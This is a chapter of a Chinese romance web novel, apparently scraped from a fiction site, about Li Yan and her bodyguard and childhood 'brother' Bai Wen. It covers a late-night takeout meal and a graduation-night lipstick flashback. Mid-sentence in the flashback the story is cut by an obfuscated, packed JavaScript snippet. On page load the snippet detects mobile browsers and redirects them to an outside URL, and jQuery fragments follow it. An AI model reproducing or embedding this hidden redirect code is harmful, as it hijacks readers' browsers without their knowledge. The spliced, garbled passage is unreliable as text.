20.第 20 章

作品:《枕边教学

    黎宴深夜才回酒店。


    她刷卡开门,客厅里一片昏暗,只有房门常开的安保间里还亮着灯。里面的人听见动静,侧过脸投来一瞥,两人视线相接。


    柏闻靠在桌边转着打火机,房间里的空调开得很足。黎宴想起刚才下车,她明明已经进了电梯,却又折返回停车场,走向角落里那辆黑色越野。


    引擎盖还是温的。


    她假装没看见柏闻额角的薄汗,随手把包放在玄关柜上,边换鞋边问:“这么晚了还不睡?”


    “等外卖。”


    黎宴疑惑抬眉,故意盯着他的眼睛问:“程总晚上请全组吃夜宵,七辆餐车呢,你没吃吗?”


    柏闻错开视线:“当时不饿。”


    黎宴弯起唇角没说话,从鞋凳起身往客厅里走。然而套房内的安静持续了不到两分钟,就在她坐进沙发时——


    “你,吃过饭了吗?”


    柏闻的声音从前厅传来,黎宴抬眼看去,他不知什么时候从安保间里走了出来,站在客厅与玄关交界的光影里。


    黎宴扬起脸:“那你给我点饭了吗?”


    她笑得眉眼弯弯,柏闻看着,喉结很轻地滚动了一下。


    “点了。”


    闻言,黎宴心里像被轻轻挠了一下,有股隐秘的甜意漫了上来。但她面上不显,玩起了手机,随意地应了一声。


    “那就吃一口吧。”


    她没再看他,只听见脚步声响起,他又回了安保间,顺手虚掩上了门。


    大约二十分钟后,门铃响了。


    柏闻去门口取餐,很快提着两个大纸袋回来,将里面的饭菜一样样摆上餐桌。黎宴慢悠悠晃过去,站在桌边看他挨个开盖。番茄罗氏虾,清炒时蔬,海参蒸蛋,玉米排骨汤,水果拼盘,鲜榨小甜水,每样她都很喜欢,也都为了保持身材而很久不沾了。


    这些年心疼她减肥的人不少,但工作需要,她也没办法。只有柏闻是个例外,从小到大他都会坚决履行他的个人意志,将不允许她减肥这件事落到实处。


    在黎宴旁观的间隙,柏闻已经打开了米饭盒盖,又掰开外卖筷子,习惯性将两端刮了刮才递过来。两人面对面落座,中间像隔着楚河汉界。她先吃了两口,随后用筷子戳了戳米饭,小声地抱怨了一句。


    “这饭怎么这么难夹……”


    柏闻正埋头吃饭,闻言动作没停,只从碗沿传来低低的一声:“几粒米当然难夹。”


    黎宴听了不忿,较劲地又戳了几下,试图向他证明:“这总不是几粒了吧?也夹不住啊。”


    柏闻终于抬眼,毫无波澜地朝她碗里一扫,简短评价道。


    “嗯,十几粒。”


    黎宴被他油盐不进的样子噎了一下,毫不客气甩了柄眼刀过去,决定换个话题找回场子。


    “我的贺卡呢?”


    她伸手问他要,后者夹菜的动作顿了一瞬,像是没听见,自顾自地吃饭。


    黎宴没打算放过他,狡黠地扬起语调:“不然我让前台查一下早上的监控好了,看看到底是不是骑手搞丢了。”


    柏闻被她步步紧逼,没抬头,嗓音沉闷:“可能掉电梯了,你不高兴扣钱就是了。”


    “扣钱?”黎宴的眼睛倏地亮了,饶有兴趣地托起下巴,“说起来,你现在的公司这么有名,你一个月得这个数吧?”


    她伸出几根手指晃了晃,柏闻扫了一眼,淡淡报了个数。


    “哇,这么多?”黎宴故作惊喜地轻呼,随后恶魔低语。


    “那就扣光好了。”


    柏闻终于正视她,目光请问。


    黎宴毫不退缩地与他对视,翘起嘴角一字一句:“程总的心意无价,懂吗?”


    “……”


    空气悄然凝固。


    柏闻握着筷子的手微微凸起青筋,感觉下一秒那两根可怜的木棍就要折了。他盯了黎宴好一会儿,最后什么也没说,碗和筷子一起放下。


    “我吃好了。”他站起身,“待会儿我来收拾。”


    说完,他转身离开餐厅,大步朝安保间走去。咔哒一声,连门都关了。


    黎宴终于不用再忍,无声地笑了起来,薄肩直抖。尽兴之后,她挑起一筷子菜送进嘴里,满意地咀嚼,内心得意洋洋。


    小青蛙这口气,总算是出够了。


    *


    黎宴睡到第二天上午才起。


    洗漱完毕后,她直接去了化妆台。等柏闻提着午餐从外面回来时,正看见她在那描眉画眼,专注得很。


    柏闻没出声,静静地站在后方。


    这是他很多年后第一次看她化妆,在这之前,他只记得她手忙脚乱的样子。


    高三毕业晚会那年,班级选中她跳孔雀舞。同节目的女生都相约去化妆店,他也给了她一笔钱,她却悄悄把钱压回他的枕下。


    “店里太贵了,奶奶不是还留了些东西吗,我练练就会了。”


    于是,他陪着她练。闷热的傍晚,他从工地下班,给她带回半个冰西瓜。看着她对着那面塑料镜子,一笔一笔往脸上描,眉毛化成毛毛虫,眼影晕得乌青。她懊恼地洗掉重来,最后泄气地扑进他怀里。


    “怎么会这么难啊……!”


    他笑着安慰她,说不如去店里算了。但她不是轻言放弃的性格,经过半个月的苦练,硬是靠着奶奶留下的那些旧化妆品,自己折腾出了一个勉强能上台的妆容。


    演出那晚,礼堂人声鼎沸,热得喘不过气。


    距离她演出还有一会儿,他坐在观众席,看她站在候场区,一袭孔雀蓝的裙摆曳地,指尖粘着长长的银色甲套。她很紧张,时不时抿唇喝水。没过多久,她忽然提着裙子跑过来,穿越人群找到他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012952|193952||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    道具指甲太长,她尴尬地拽了拽他的衣角。


    “……哥,口红掉了,你帮帮我。”


    这一瞬,某种本能立刻在他脑中拉响了警报。


    他没想到她会提出这样的请求,他是哥哥,但也二十岁了,知道这个举动在男女之间有多暧昧。可她的眼神依赖而焦急,显得他这点迟疑是多么龌龊。他只能认命地想,算了,只要是她想要的,这就够了。


    补妆用品都在他口袋里备着,但观众席人挤人,不少家长带来的孩子满场闹腾,实在不方便。他们一路跑到礼堂外的老榕树下,四周无人,路灯昏黄,光线从树叶缝隙漏下来,斑驳地投在他们身上。


    “抬头。”他说。


    她立刻仰起脸,但他个子太高了,这里的光线并不好。


    他犹豫片刻才伸出手,轻轻捏住她的下巴,低头俯身,距离拉近的同时呼吸交缠。


    “张嘴。”


    他嗓音发紧,她依言照做。十七岁的她,脸上还带着少女的青涩与笨拙,皮肤白皙,笑起来时有两个浅浅的梨涡,美好又纯粹,像初夏枝头将熟未熟的青梅。


    一掉进那双明亮的眼睛,他的心忽然就跳得快了一些,攥着口红的手紧了紧,深吸一口气,尽量让自己的声音听起来平稳。


    “眼睛闭上。”


    她乖乖闭上了眼睛。


    他笨拙地旋开那管口红,膏体已经被闷热的夏夜焐得有些软烂,用量极不稳定。他用指腹沾了一点,轻轻涂在她的唇上。他的动作很轻很慢,指尖擦过她的唇瓣,触感柔软得不可思议。


    突然,校园烟花炸开。


    砰——


    第一簇彩色烟花划破夜空,瞬间照亮她的脸庞。他在那骤然明亮的光里,看清她颤动的睫毛,看见自己指尖那抹艳俗的红,一点点在她年轻的唇上绽开。


    她忽然睁开眼。


    四目相对,烟花在她瞳孔里绽放出万千光点,绚丽灼人。她的呼吸近在咫尺,他费了极大功夫,最终将某种冲动狠狠砸回心底,一把将她拥进怀中。


    “……毕业快乐。”


    他在她耳边哑声说,呼吸滚烫。


    “妹妹。”


    ……


    记忆短暂闪回,柏闻的目光落向镜子。如今二十三岁的她手法娴熟,口红饱满艳丽,衬得她肤如白瓷,美丽得无可挑剔。与高三那些夏夜里,在镜子前笨拙鼓捣粉饼的少女,早已判若两人。


    原来她真的长大了。


    会褪去青涩,会凃正红色的口红,昂贵的香水替代了多年前的廉价香精,会变成让男人移不开视线的模样。


    柏闻的目光长久地停在黎宴脸上,直到她检查完妆容和发型,正要起身时,他忽然警惕地意识到。


    她今天没有行程。


    所以呢?


    此举何意?